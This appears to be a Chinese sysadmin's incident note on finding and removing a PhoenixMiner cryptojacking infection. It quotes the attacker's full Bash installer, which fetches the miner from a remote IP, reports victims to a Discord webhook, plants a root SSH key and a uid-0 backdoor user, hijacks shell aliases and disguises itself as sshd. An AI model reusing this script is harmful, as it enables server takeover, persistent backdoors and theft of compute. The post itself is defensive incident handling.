某日,发现服务器正在挖矿,问遍了大多数用户,都没有,随记录下处理过程
查看挖矿进程
root@localhost:~# nvidia-smiThu May 27 09:30:34 2021+-----------------------------------------------------------------------------+| NVIDIA-SMI 460.67 Driver Version: 460.67 CUDA Version: 11.2 ||-------------------------------+----------------------+----------------------+| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC || Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. || | | MIG M. ||===============================+======================+======================|| 0 GeForce GTX 108... Off | 00000000:04:00.0 Off | N/A || 42% 72C P2 186W / 250W | 7354MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------+| 1 GeForce GTX 108... Off | 00000000:05:00.0 Off | N/A || 49% 83C P2 198W / 250W | 4519MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------+| 2 GeForce GTX 108... Off | 00000000:08:00.0 Off | N/A || 50% 83C P2 188W / 250W | 4519MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------+| 3 GeForce GTX 108... Off | 00000000:09:00.0 Off | N/A || 45% 77C P2 187W / 250W | 4519MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------+| 4 GeForce GTX 108... Off | 00000000:84:00.0 Off | N/A || 50% 83C P2 178W / 250W | 4519MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------+| 5 GeForce GTX 108... Off | 00000000:85:00.0 Off | N/A || 49% 83C P2 195W / 250W | 4519MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------+| 6 GeForce GTX 108... Off | 00000000:88:00.0 Off | N/A || 47% 81C P2 200W / 250W | 4519MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------+| 7 GeForce GTX 108... Off | 00000000:89:00.0 Off | N/A || 49% 83C P2 189W / 250W | 4519MiB / 11178MiB | 100% Default || | | N/A |+-------------------------------+----------------------+----------------------++-----------------------------------------------------------------------------+| Processes: || GPU GI CI PID Type Process name GPU Memory || ID ID Usage ||=============================================================================|| 0 N/A N/A 11220 C python 2835MiB || 0 N/A N/A 23434 C ./PhoenixMiner 4517MiB || 1 N/A N/A 23434 C ./PhoenixMiner 4517MiB || 2 N/A N/A 23434 C ./PhoenixMiner 4517MiB || 3 N/A N/A 23434 C ./PhoenixMiner 4517MiB || 4 N/A N/A 23434 C ./PhoenixMiner 4517MiB || 5 N/A N/A 23434 C ./PhoenixMiner 4517MiB || 6 N/A N/A 23434 C ./PhoenixMiner 4517MiB || 7 N/A N/A 23434 C ./PhoenixMiner 4517MiB |+-----------------------------------------------------------------------------+
再检查进程
cortex@localhost:~$ ps -ef |grep -i minerhwd 23433 1 0 08:05 ? 00:00:00 sh -c ./PhoenixMiner -restart 0 -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.comhwd 23434 23433 1 08:05 ? 00:00:59 ./PhoenixMiner -restart 0 -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.comhwd 27702 27688 0 09:28 ? 00:00:00 curl -s -L -O 45.32.112.68/.mini/PhoenixMiner.tarcortex 28134 27954 0 09:32 pts/4 00:00:00 grep --color=auto -i miner
好家伙,跑满了,首先先尝试 kill 进程,并且这个用户不是已知用户。
kill -9 23433kill -9 23434
结果马上又立刻起来了,肯定有守护进程或者脚本之,最后在 crontab 中发现脚本
# crontab -u hwd -l# @daily /var/tmp/.tmp/./.b4nd1d0# @reboot /var/tmp/.tmp/./.placi > /dev/null 2>&1 & disown# * * * * * /var/tmp/.tmp/./.placi > /dev/null 2>&1 & disown# @monthly /var/tmp/.tmp/./.placi > /dev/null 2>&1 & disown
挨个查看脚本, 相当于初始化,了解下思路
cat /var/tmp/.tmp/./.b4nd1d0#!/bin/bashm1lbe1(){if ! pgrep -x PhoenixMiner >/dev/nullthencd /var/tmp/.tmp/PhoenixMiner./PhoenixMiner -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com >/dev/null 2>&1 & disown $*elseexit;fi}m1lbe1主要是检查进程`PhoenixMiner`是否存在,不存在就直接重启挖矿
#!/bin/bash###Date###user="sclipicibosu"pass="saieilamuie"gilimea='"'ip=`/usr/bin/curl -s -connect-timeout 4 -m 4 ifconfig.me`rm -rf *timeoutsshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAplmD9EFVf28OUB8tK/qJYG4ggMAw9PJzJU1AONgB5FV9w1hxxmP/+vVUfj7HgaTPB94IW4svaMe3vMTkmYm/0y9Zrh8Q2r6f/r1OqpwQU3ThLR6quOAtl7TW7y4VIQ/wxXOffINAIrEv7mi8D0XgpkiFwIUoblZY0ErPjBwy0WFqua2Z0qxx1bHoznDxPOsHMRxSge4DYA0gADttEWz8x1NZFcjMql8OOQ5IpZRsHxlO4cBVG37WyYpL7NYGF0gqnRRFSXBGduQph1dsEf3KFo83/QaSg+mm+EQiFrbVeqpm9tDjiFazbrwsw0YhT47yzKPi+Tews16sIHAvs5KZkw== sclipicibosu"nenea=`whoami`suptime=$(</proc/uptime)uptime=${uptime%%.*}zile=$(( uptime/60/60/24 ))secunde=$(( uptime%60 ))minute=$(( uptime/60%60 ))ore=$(( uptime/60/60%24 ))sended=$(date +'%m/%d/%Y')url='https://discord.com/api/webhooks/821345448212037685/UIO1CteG8cl6DerrO6fbI0ldKGk90H36NeNpXH56aYNbCBd1UZ31J89CR5ZBRSd9c3xj'##########getingmineru(){locatie="$(cat /var/tmp/.ladyg0g0/.pr1nc35)"if [ -f $locatie/PhoenixMiner ]; then:elsecurl -s -L -O 45.32.112.68/.mini/PhoenixMiner.tartar xvf PhoenixMiner.tarchmod 777 PhoenixMiner/*fi}###locationperfection(){tinlex=$(pwd)mkdir /var/tmp/.ladyg0g0/ >/dev/null 2>&1echo $tinlex > "/var/tmp/.ladyg0g0/.pr1nc35"if [ $(id -u) = 0 ]; thenif [ -f "/usr/bin/.locationesclipiciu" ]; then:elseecho $tinlex > "/usr/bin/.locationesclipiciu"fifi}###showproof(){echo '{"content": null,"embeds": [{"title": "Miner ON: Ip: '$ip' | Pe User: '$nenea' ","description": "**Cand s-a facut Install-ul:** ***'$sended'***\n\n**Other Info:** ***Version: 3.0*** **| Uptime Miner:** ***'$zile'*** **Zile**","color": 16711680}]}' > /tmp/.send.json/usr/bin/curl -H "Content-Type: application/json" --data @/tmp/.send.json $url}###sshkiller(){if [ $(id -u) = 0 ]; thenmkdir /usr/.SQL-Unixmkdir /usr/.SQL-Unix/.SQLecho "# .bashrc############rm -rf ~/.bashrcrm -rf ~/.bash_historyalias pkill='printf $gilimea$gilimea'alias kill='printf $gilimea$gilimea'alias killall='printf $gilimea$gilimea'alias init='printf $gilimea$gilimea'alias rm='printf $gilimea$gilimea'alias halt='printf $gilimea$gilimea'alias adduser='printf $gilimea$gilimea'alias userdel='printf $gilimea$gilimea'alias crontab='printf $gilimea$gilimea'alias htop='printf $gilimea$gilimea'alias find='printf $gilimea$gilimea'alias locate='printf $gilimea$gilimea'alias ps='printf $gilimea$gilimea'alias ss='printf $gilimea$gilimea'alias netstat='printf $gilimea$gilimea'############echo '# .bashrcsource /usr/.SQL-Unix/.SQL/.dbalias rm='rm -i'alias cp='cp -i'alias mv='mv -i'echo Uname: $(uname -a)' > ~/.bashrc" > /usr/.SQL-Unix/.SQL/.dbecho "# .bashrcsource /usr/.SQL-Unix/.SQL/.dbalias rm='rm -i'alias cp='cp -i'alias mv='mv -i'echo Uname: $(uname -a)" > ~/.bashrcecho "if [ -f ~/.bashrc ]; then. ~/.bashrcfi" > ~/.bash_profilechattr -i /root/.ssh ; chattr -i /root/.ssh/authorized_keysecho $sshkey > "/root/.ssh/authorized_keys"chmod 600 /root/.ssh/authorized_keyschattr +i /root/.ssh/authorized_keyselsemkdir /var/tmp/.SQL-Unix > /dev/null 2>&1mkdir /var/tmp/.SQL-Unix/.SQL > /dev/null 2>&1echo "# .bashrc############rm -rf ~/.bashrcrm -rf ~/.bash_historyalias pkill='printf $gilimea$gilimea'alias kill='printf $gilimea$gilimea'alias killall='printf $gilimea$gilimea'alias init='printf $gilimea$gilimea'alias rm='printf $gilimea$gilimea'alias halt='printf $gilimea$gilimea'alias adduser='printf $gilimea$gilimea'alias userdel='printf $gilimea$gilimea'alias crontab='printf $gilimea$gilimea'alias htop='printf $gilimea$gilimea'alias find='printf $gilimea$gilimea'alias locate='printf $gilimea$gilimea'alias ps='printf $gilimea$gilimea'alias ss='printf $gilimea$gilimea'alias netstat='printf $gilimea$gilimea'############echo '# .bashrcsource /var/tmp/.SQL-Unix/.SQL/.dbalias rm='rm -i'alias cp='cp -i'alias mv='mv -i'echo Uname: $(uname -a)' > ~/.bashrc" > /var/tmp/.SQL-Unix/.SQL/.dbecho "# .bashrcsource /var/tmp/.SQL-Unix/.SQL/.dbalias rm='rm -i'alias cp='cp -i'alias mv='mv -i'echo Uname: $(uname -a)" > ~/.bashrcecho "if [ -f ~/.bashrc ]; then. ~/.bashrcfi" > ~/.bash_profilefi}###facuser(){if [ $(id -u) = 0 ]; thenif ! cat /etc/passwd | grep -q "${user}"; then/usr/sbin/useradd -u0 -g0 -o -s /bin/bash $user ; usermod -aG sudo $useryes "$pass" | passwd $userelse:fifi}###minerinio(){locatie="$(pwd)"if [ -f $locatie/.b4nd1d0 ]thenlocatie="$(pwd)"echo '#!/bin/bashm1lbe1(){if ! pgrep -x PhoenixMiner >/dev/nullthencd '$locatie'/PhoenixMiner./PhoenixMiner -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com >/dev/null 2>&1 & disown $*elseexit;fi}m1lbe1' > $locatie/.b4nd1d0chmod 777 $locatie/.b4nd1d0$locatie/./.b4nd1d0elselocatie="$(pwd)"echo '#!/bin/bashm1lbe1(){if ! pgrep -x PhoenixMiner >/dev/nullthencd '$locatie'/PhoenixMiner./PhoenixMiner -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com >/dev/null 2>&1 & disown $*elseexit;fi}m1lbe1' > $locatie/.b4nd1d0chmod 777 $locatie/.b4nd1d0$locatie/./.b4nd1d0fi}###crontablegend() {locatie="$(pwd)"if ! crontab -l | grep -q '.placi'; thenrm -rf $locatie/.5p4rk3l5echo "@daily "$locatie"/./.b4nd1d0" >> $locatie/.5p4rk3l5sleep 1echo "@reboot "$locatie"/./.placi > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5sleep 1echo "* * * * * "$locatie"/./.placi > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5sleep 1echo "@monthly "$locatie"/./.placi > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5sleep 1crontab $locatie/.5p4rk3l5sleep 1source ~/.bashrcrm -rf $locatie/.5p4rk3l5fi}###locationperfectionsleep 0.5echo "Locatie ON"waitgetingminerusleep 0.5echo "Minerul Luat"waitfacusersleep 0.5echo "User Facut"waitsshkillersleep 0.5echo "SSH Mort"waitshowproofsleep 0.5echo "Info Trimis"waitcrontablegendsleep 0.5echo "Crontab Done"waitmineriniosleep 0.5echo "Minerul Pornit"wait###checkingpid(){if [ -f /usr/bin/.pidsclip ]; thenif ps -p $(cat /usr/bin/.pidsclip) > /dev/null; thenecho "Already running..."else/usr/bin/sshd > /dev/null 2>&1 & disownecho $! > /usr/bin/.pidsclipchmod 777 /usr/bin/.pidsclipecho "Done"fielse/usr/bin/sshd > /dev/null 2>&1 & disownecho $! > /usr/bin/.pidsclipchmod 777 /usr/bin/.pidsclipecho "Done"fi}###killingstrangers(){echo '#!/bin/bashlocatieasdf=$(cat /usr/bin/.locationesclipiciu)if [ ! -d '$locatieasdf' ]; thenmkdir '$locatieasdf'rsync -r /usr/bin/.locationesclipiciu/ '$locatieasdf'/sleep 1'$locatieasdf'/.b4nd1d0 > /dev/null 2>&1 & disownelseif [ ! -f '$locatieasdf'/PhoenixMiner ]; thenrsync -r /usr/bin/.locationesclipiciu/ '$locatieasdf'/sleep 1'$locatieasdf'/.b4nd1d0 > /dev/null 2>&1 & disownfi' > /usr/bin/sshdsleep 1chmod 777 /usr/bin/sshd}###pisamsystemu(){echo '[Unit]Description=Example systemd service.[Service]Type=simpleRestart=alwaysRestartSec=3600ExecStart=/bin/bash /usr/bin/sshd[Install]WantedBy=multi-user.target' > /lib/systemd/system/myservice.servicesleep 1chmod 644 /lib/systemd/system/myservice.servicesystemctl enable myservicesystemctl start myserviceif [ -f "/var/tmp/.ladyg0g0/.pr1nc35" ]; thenecho "Locatia este deja setata"elseif [ -f "/usr/bin/.locationesclipiciu" ]; thenlocationperfectionecho "Am-rupt-locatiile-alea"sleep 1fifiif [ ! -f "/var/tmp/.ladyg0g0/.pr1nc35" ]; thenif [ -d "/var/tmp/.ladyg0g0" ]; thenlocationperfectionlocationperfectionecho "Locatia a fost setata"elseecho "Acum facem folderul"mkdir /var/tmp/.ladyg0g0/locationperfectionlocationperfectionecho "Am setat locatia"fifiif [ -f $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip ]; thenif ps -p $(cat $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip) > /dev/null; thenecho "Already running..."else$(cat /var/tmp/.ladyg0g0/.pr1nc35)/.placi > /dev/null 2>&1 & disownecho $! > $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclipchmod 777 $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclipecho "Done"fielse$(cat /var/tmp/.ladyg0g0/.pr1nc35)/.placi > /dev/null 2>&1 & disownecho $! > $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclipchmod 777 $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclipecho "Done"fi}###if [ $(id -u) = 0 ]; thenif [ ! -d /usr/bin/.locationesclipiciu ]; thencp -avr $(cat /var/tmp/.ladyg0g0/.pr1nc35) /usr/bin/.locationesclipiciu >/dev/null 2>&1 & disownbash -c 'yum install -y rsync >/dev/null 2>&1 & disown' || bash -c 'apt install -y rsync >/dev/null 2>&1 & disown'if [ ! -f /usr/bin/sshd ]; thenkillingstrangerspisamsystemucheckingpidfififi
措施
禁止ip访问
iptables -I INPUT -s ***.***.***.*** -j DROP
删除用户
userdel hwd -r
